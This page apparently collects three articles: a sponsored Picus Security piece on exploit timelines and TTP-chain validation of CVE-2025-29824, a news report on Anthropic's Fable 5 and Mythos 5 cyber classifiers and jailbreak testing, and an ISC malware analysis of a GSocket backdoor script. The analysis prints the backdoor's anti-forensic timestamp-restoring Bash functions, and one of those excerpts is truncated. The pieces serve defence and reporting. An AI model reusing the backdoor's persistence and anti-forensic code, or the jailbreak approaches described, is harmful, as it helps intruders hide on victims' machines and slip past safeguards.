openbsd

For thirty years, vulnerability management has run on what now looks like an impossible luxury: a buffer of months between when a vulnerability was found and when someone could figure out how to weaponize it. Triage by severity, schedule the fix, validate, move on. That generous buffer is what made the entire system work. AI has stripped out the manual drag that kept weaponization slow. Reading the advisory, finding the path, shaping the chain, testing what works: none of it can afford to move at human speed anymore. Today, the disclosure-to-exploit timeframes run in hours, not months. The Zero Day Clock, which tracks this in real time, currently averages around 8 hours for 2026, down from roughly 53 days just two years ago. The figure shifts as fresh data lands, but at this point it’s sitting firmly below 24 hours. You Can't Patch Your Way Out of This The reflex is usually to just patch faster. But remediation isn't simply a switch you flip. Patches wait on a number of contingencies: regression testing, change windows, and uptime commitments. And today, every number that matters is unfortunately moving in the wrong direction. Verizon's 2026 Data Breach Investigations Report, drawn from more than 13,000 organizations, found that: The median fix time for known-exploited vulnerabilities is now 43 days, up from 32 last year. The share of organizations fully patching them is down from 38% to 26%. Even the best performers close only 30 to 40% of these vulnerabilities in the first week, a rate that's barely budged in years. When offense runs in hours and remediation runs in weeks, the breach lands in between. And the runway is only getting longer. The volume guarantees it: 48,185 CVEs in 2025, fewer than 0.6% ever patched. "Patch your way out" has stopped being workable math. Even worse, these are pre-Mythos numbers. Mythos is the threshold at which AI models became able to find and weaponize vulnerabilities on their own, and it isn't theoretical: Anthropic's Mythos-class model found a flaw that had been hiding in OpenBSD, widely regarded as one of the world's most secure operating systems, for 27 years. The 2025 baseline has become the floor, not the ceiling. The question is no longer "what's vulnerable?" because in a list where everything scores a 9 or a 10, this effectively prioritizes nothing. The real question has become,"What's actually exploitable against us, right now, with the controls we’re already running?" Finding the exposure was never the hard part. Proving the right call (patch, mitigate, monitor, or accept) is the critical gap. The two-pager walks the full TTP-chaining pipeline end to end. See how Picus decomposes any CVE into its technique chain, tests each step against your real controls, and returns a defensible verdict on the assets a live exploit can never reach. Read the Two-Pager Your Pentest Got Faster. It Still Can't Reach What Matters. The popular response has been to automate the pentest. Automated pentesting tools take the manual penetration test that used to happen once a quarter and run it continuously, at scale, firing real exploit chains against real assets. Where that can run, it's the strongest proof there is: you watch the exploit succeed. Picus does it too, with Autonomous Penetration Testing. No argument there. But, while automating the launch makes you faster; it doesn't change what the launch can reach. Live exploitation only works where firing an exploit is safe and where a working exploit exists. That leaves three gaps no pentest tool can close, and stacking the three of them together doesn't help either. Why? No exploit, nothing to fire. A large share of disclosed CVEs never get a public or safe exploit. With nothing to launch, execution can't tell you whether they're exploitable in your environment. Assets you can't risk. Business-critical, regulated, and air-gapped systems are exactly the ones you can't safely detonate an exploit against, and they're usually the ones that matter most. The day-one window. Weaponizing a fresh exploit and wiring it into your tooling takes time. Attackers are already moving while your launch is still on the bench. In a typical enterprise, the slice you can safely exploit live is usually only 10 to 15% of your total exposure picture. For the other 85 to 90%, execution has no answer to give. Ground-Test the Rocket You Can't Launch The surest way to prove a rocket will fly is to launch it. But no space program proves its fleet that way. Some exist only as a design on paper, some are crewed and too valuable to risk, and some are still on the assembly line. So engineers prove them on the ground instead: engine thrust on a static stand, testing the fuel system under full pressure, the heat shield against its maximum thermal load. If any required component fails, the rocket can't fly, and they know it without leaving the pad. That's the same three-part gap security teams are facing. The CVE with no exploit is the rocket that exists only on paper. The off-limits asset is the crewed rocket you won't risk. The day-one CVE is the partly built fuselage while your launch window is running out The launch is the proof you reach for when you can; the ground test is the proof you rely on when you can't. Break the Chain, Break the Exploit An exploit isn't magic. It's a chain of specific techniques, the TTPs an attacker has to execute in sequence: gain execution, bypass a protection, escalate privilege, dump credentials, move toward the target. Each link depends on conditions in your environment, and each can be tested on its own against your actual deployed controls, the way an engineer tests an engine on a static stand without having to launch the entire vehicle. That's TTP-chain validation. You map a CVE to the chain of techniques its exploitation requires, then validate each technique against your existing controls. If your environment breaks any required link, the exploit can't succeed there, and you know it without having to fire a live exploit. If every link would hold, the exposure is genuinely exploitable, with evidence. Four things separate that verdict from a static CVSS or EPSS label: It validates by inference, not detonation. So, it works where live exploitation would be unsafe or impossible. It's control-aware. The verdict reflects your real EDR, GPO, LSASS protection, allow-listing, and firewall, not just a number on a data sheet. It weighs reachability. Contained exposures don't get over-counted. It ships evidence. The chain, the controls tested, and the result: an audit trail that survives to the board. What It Looks Like on a Real CVE Take CVE-2025-29824, a Windows CLFS use-after-free that escalates to SYSTEM (seen in the wild in Storm-2460 → RansomEXX activity). Instead of firing an exploit, you decompose it into the chain an attacker must run and test each step against your stack: certutil & MSBuild execution – T1105 / T1127 KASLR bypass / SysInfo – T1082 CLFS UAF exploit → kernel execution – T1068 token modification & dllhost injection – T1134 / T1055 LSASS dump via masked dllhost – T1003 Each technique is tested against EDR policy, GPO/hardening, LSASS protection, application allow-listing, and NGFW. If your allow-listing stops the MSBuild exec, or your LSASS protection blocks the credential dump, the chain breaks, the CVE isn't exploitable on that asset, and you can show exactly why. No certified exploit needed, and it works on the air-gapped box you'd never point a live exploit at. And in doing so, you’ve gone from a fresh CVE ID to a defensible decision in hours, on the day of disclosure, rather than weeks later. Want to go deeper on TTP-chaining? Our two-pager walks the full pipeline and coverage model end to end. >> Read it here Prove It Everywhere, Not Just Where You Can Launch The launch and the ground test aren't rivals, they’re symbiotic. The strongest programs run both, and keep re-testing as the environment moves through time and configurations. That's the loop Picus runs: live exploit chains where firing is safe, TTP-chaining for the off-limits assets and day-one CVEs that a launch can't reach, and continuous control validation so last quarter's "accept" is re-tested, not assumed. One platform, and one answer to the only question that matters: “What's actually exploitable here, right now?” Put it to the test on the case stuck in your backlog: the CVE on the air-gapped box you can't touch, or the one that dropped this morning with no public exploit yet. Book a demo, and Picus will map it to its TTP chain and show you, against your own controls, whether it's exploitable or not, and why, with the evidence to take to your board. This article was written by Sıla Özeren Hacıoğlu, Security Research Engineer at Picus Security. Sponsored and written by Picus Security.

On June 9, Anthropic released Claude Fable 5, the most capable model it has ever made, generally available. It also did something unusual: it shipped one model as two products, split not by capability but by a layer of safety classifiers. Fable 5 goes to the public. Its twin, Claude Mythos 5, the same underlying model with the cyber safeguards lifted, stays locked to a vetted group of cyber defenders and critical infrastructure operators. Anthropic calls Mythos 5 the strongest cybersecurity model in the world. The practical difference is this: Fable 5 routes flagged cyber, biology, chemistry, and distillation requests to the weaker Claude Opus 4.8, while Mythos 5 keeps the cyber capabilities available for vetted users. Both models cost $10 per million input tokens and $50 per million output tokens, less than half the price of the earlier Mythos Preview, and Fable 5 is available through the Claude API now. It is included on Pro, Max, Team, and seat-based Enterprise plans at no extra cost through June 22, then moves to usage credits. How Fable 5's cyber classifiers work The split exists because Mythos-class models find and exploit software vulnerabilities well enough that, in Anthropic's framing, handing that capability to the general public without controls would give attackers serious uplift. The mechanism is a set of classifiers: separate AI systems that watch for misuse and jailbreak attempts. When a request trips one, Fable 5 does not refuse. The response is handed to Opus 4.8, and the user is told the handoff happened. Of the flagged categories, distillation is the odd one out: it means extracting a model's capabilities to train a competing model, which Anthropic blocks to stop near-frontier abilities leaking out without safeguards attached. The cybersecurity classifier is the broad one. Anthropic designed it to block not just exploit development but offensive cyber tasks in general: reconnaissance, discovery, lateral movement, the agentic steps that make up a real attack. In an internal evaluation run with Fable 5 set to block rather than fall back, and which did not attempt to evade the safeguards, the classifiers stopped the model from making any progress on those tasks. One external partner found Fable 5 complied with zero harmful single-turn requests on cyberattack planning, exploit development, or defense evasion, holding up against 30 different public jailbreak techniques. The trade-off is false positives. Anthropic tuned the safeguards conservatively to ship fast, so they sometimes catch harmless requests. The company says fallback fires in under 5% of all sessions, so for more than 95%, Fable 5 behaves like the cyber-unrestricted Mythos 5. That figure covers every fallback, genuine blocks included, so it caps the total disruption rather than measuring the false-positive rate on its own. Anthropic says it will narrow the safeguards and cut false positives after launch. On robustness, the numbers are specific. An external bug bounty ran over 1,000 hours and produced no universal jailbreak, a prompt, or a harness that strips the safeguards wholesale. External red teams found none on long-form agentic tasks either, with one caveat Anthropic states plainly: the UK's AI Security Institute made progress toward a universal jailbreak within a brief initial testing window. Anthropic concedes it is likely impossible to fully prevent universal jailbreaks, and its stated goal is to make any that remain slow and costly enough to catch before they are used at scale. Why is the capability a threat The case for treating this model carefully was laid out in April, when Anthropic released Claude Mythos Preview to a limited group through Project Glasswing. The technical write-up from Anthropic's red team is the part worth reading. During testing, Mythos Preview identified and exploited zero-day vulnerabilities in every major operating system and every major web browser when a user directed it to. The oldest bug it found was a 27-year-old flaw in OpenBSD, an operating system known mainly for its security. It autonomously wrote a remote code execution exploit against FreeBSD's NFS server from a 17-year-old bug, triaged as CVE-2026-4747. Anthropic describes the result as full root for an unauthenticated attacker from anywhere on the internet; NVD's entry is more measured, noting the stack overflow itself does not require the client to authenticate, but frames kernel code execution as reachable by an attacker able to send packets to the NFS server while the kgssapi.ko module is loaded. By Anthropic's own account, it did not explicitly train these capabilities in; they emerged as a side effect of general improvements in code, reasoning, and autonomy, the same gains that make the model better at patching. The red team's flat warning: mitigations whose security value comes from friction rather than hard barriers get much weaker against a model that grinds through tedious exploitation steps at scale. Hard technical barriers like KASLR and W^X still raise the cost; the warning is narrower, aimed at defenses that lean on attacker patience or manual effort, and the model can now supply itself. Mythos 5 carries those skills forward. Anthropic says users will find it comparable to or somewhat stronger than Mythos Preview. The defender's actual problem The defensive case is not hypothetical. In the first weeks of Project Glasswing, Anthropic and roughly 50 partners used Mythos Preview to find more than ten thousand high- or critical-severity vulnerabilities in systemically important software. Cloudflare alone found 2,000 bugs, 400 of them high- or critical-severity. Mozilla found and fixed 271 in Firefox 150, more than ten times what it caught in Firefox 148 using the older Opus 4.6. Anthropic says the same pressure is visible beyond Glasswing, in vendors shipping unusually large security releases. That flood is the catch. Finding bugs is now cheap and fast. Verifying, triaging, and patching them is not, and it still runs on human time. Anthropic reports that open-source maintainers, already buried under low-quality AI-generated bug reports, have asked it to slow its disclosures because they cannot write patches fast enough. In Glasswing, it says a high- or critical-severity bug found by the model takes about two weeks to patch on average. The bottleneck has moved from discovery to the fix, and the gap between a public disclosure and a deployed patch is where attackers live. The red team's N-day experiments sharpen the point: starting from nothing but a disclosed CVE and its patch, Mythos Preview built working Linux privilege-escalation exploits in under a day each, at a few thousand dollars or less in compute. For defenders, the read is the same as ever, just on a shorter clock: assume a high-severity CVE can become a working exploit within hours of disclosure, not weeks. That means prioritizing auto-update paths for internet-facing systems and treating dependency bumps that carry CVE fixes as time-sensitive work rather than backlog. MFA and comprehensive logging stay the baseline, so a single missed patch does not become the only thing standing between an attacker and the network. Anthropic has opened a Cyber Verification Program that lets vetted security professionals use its models for legitimate offensive work without the cyber safeguards. A new 30-day data retention requirement Anthropic is also changing how it handles data for Mythos-class models. It will require 30-day retention for all traffic on Fable 5, Mythos 5, and future models at this capability level, across both first- and third-party surfaces. The company says it will not use the data for training or any non-safety purpose, will log all human access, and will delete it after 30 days except where a safety investigation or legal obligation requires holding it longer. The stated reason is defensive: the data helps detect novel attacks and jailbreaks that operate across many requests. Teams with strict data-handling requirements will want to factor that retention window in before routing sensitive traffic through these models. Anthropic plans to widen Mythos 5 access through a trusted-access program, and says that once compute capacity catches up, it aims to fold Fable 5 back into subscription plans without the usage-credit premium that kicks in after June 22. The larger question the launch raises is the one Anthropic has been circling since April: similarly capable models from other labs are coming, and not all of them will ship with a wall of classifiers in front. The defensive head start Glasswing was meant to buy only matters if the rest of the industry uses it.

Yesterday, I discovered a malicious Bash script that installs a GSocket backdoor on the victim’s computer. I don’t know the source of the script not how it is delivered to the victim. GSocket[1] is a networking tool, but also a relay infrastructure, that enables direct, peer-to-peer–style communication between systems using a shared secret instead of IP addresses or open ports. It works by having both sides connect outbound to a global relay network. Tools like gs-netcat can provide remote shells, file transfer, or tunneling and bypass classic security controls. The script that I found uses a copy of gs-netcat but the way it implements persistence and anti-forensic techniques deserves a review. A few weeks ago, I found a sample that used GSocket connectivity as a C2 channel. It makes me curious and I started to hunt for more samples. Bingo! The new one that I found (SHA256:6ce69f0a0db6c5e1479d2b05fb361846957f5ad8170f5e43c7d66928a43f3286[2]) has been detected by only 17 antivirus solutions on VT. The script is not obfuscated and even has comments so I think that it was uploaded on VT for "testing" purposes by the developper (just a guess) Let’s have a look at the techniques used. When you execute it in a sandbox, you see this: Note the identification of the tool ("G-Socket Bypass Stealth") and the reference to "@bboscat"[3] A GSocket client is downloaded, started and is talking to the following IP: The malware implements persistence through different well-known techniques on Linux. First, a cron job is created: Every top-hour, the disguised gs-netcat will be killed (if running) and restarted. To improve persistence, the same code is added to the victim's .profile: The malware itself is copied in .ssh/putty and the GSocket shared secret stored in a fake SSH key file: The ELF file id_rsa (SHA256: d94f75a70b5cabaf786ac57177ed841732e62bdcc9a29e06e5b41d9be567bcfa) is the gs-netcat tool downloaded directly from the G-Socket CDN. Ok, let’s have a look at an interesting anti-forensic technique implemented in the Bash script. File operations are not simply performed using classic commands like cp, rm, mv, etc. They are embedded in “helper” functions with a timestamp tracking/restoration system so the malware can later hide filesystem changes. Here is an example with a function that will create a file: mk_file() { local fn local oldest local pdir local pdir_added fn="$1" local exists # DEBUGF "${CC}MK_FILE($fn)${CN}" pdir="$(dirname "$fn")" [[ -e "$fn" ]] && exists=1 ts_is_marked "$pdir" || { # HERE: Parent not tracked _ts_add "$pdir" " " pdir_added=1 } ts_is_marked "$fn" || { # HERE: Not yet tracked _ts_get_ts "$fn" # Do not add creation fails. touch "$fn" 2>/dev/null || { # HERE: Permission denied [[ -n "$pdir_added" ]] && { # Remove pdir if it was added above # Bash ") return } touch "$fn" 2>/dev/null || return [[ -z $exists ]] && chmod 600 "$fn" true } Here are also two interesting function: Restore timestamp of files ts_restore() { local fn local n local ts [[ ${#_ts_fn_a[@]} -ne ${#_ts_ts_a[@]} ]] && { echo >&2 "Ooops"; return; } n=0 while :; do [[ $n -eq "${#_ts_fn_a[@]}" ]] && break ts="${_ts_ts_a[$n]}" fn="${_ts_fn_a[$n]}" # DEBUGF "RESTORE-TS ${fn} ${ts}" ((n++)) _ts_fix "$fn" "$ts" done unset _ts_fn_a unset _ts_ts_a n=0 while :; do [[ $n -eq "${#_ts_systemd_ts_a[@]}" ]] && break ts="${_ts_systemd_ts_a[$n]}" fn="${_ts_systemd_fn_a[$n]}" # DEBUGF "RESTORE-LAST-TS ${fn} ${ts}" ((n++)) _ts_fix "$fn" "$ts" "symlink" done unset _ts_systemd_fn_a unset _ts_systemd_ts_a } ts_is_marked() { local fn local a fn="$1" for a in "${_ts_fn_a[@]}"; do [[ "$a" = "$fn" ]] && return 0 # True done return 1 # False } ts_is_marked() checks whether a file/directory is already registered for timestamp restoration, preventing duplicate tracking and ensuring the script’s anti-forensic timestamp manipulation works correctly. I asked ChatGPT to generate a graph that explains this technique: Finally, because it’s fully based on Bash, the script will infect all UNIX flavors, MacOS included: [[ -z "$OSTYPE" ]] && { local osname osname="$(uname -s)" if [[ "$osname" == *FreeBSD* ]]; then OSTYPE="FreeBSD" elif [[ "$osname" == *Darwin* ]]; then OSTYPE="darwin22.0" elif [[ "$osname" == *OpenBSD* ]]; then OSTYPE="openbsd7.3" elif [[ "$osname" == *Linux* ]]; then OSTYPE="linux-gnu" fi } [1] https://www.gsocket.io [2] https://www.virustotal.com/gui/file/6ce69f0a0db6c5e1479d2b05fb361846957f5ad8170f5e43c7d66928a43f3286/telemetry ???????[3] https://zone-xsec.com/archive/attacker/%40bboscat Xavier Mertens (@xme) Xameco Senior ISC Handler - Freelance Cyber Security Consultant PGP Key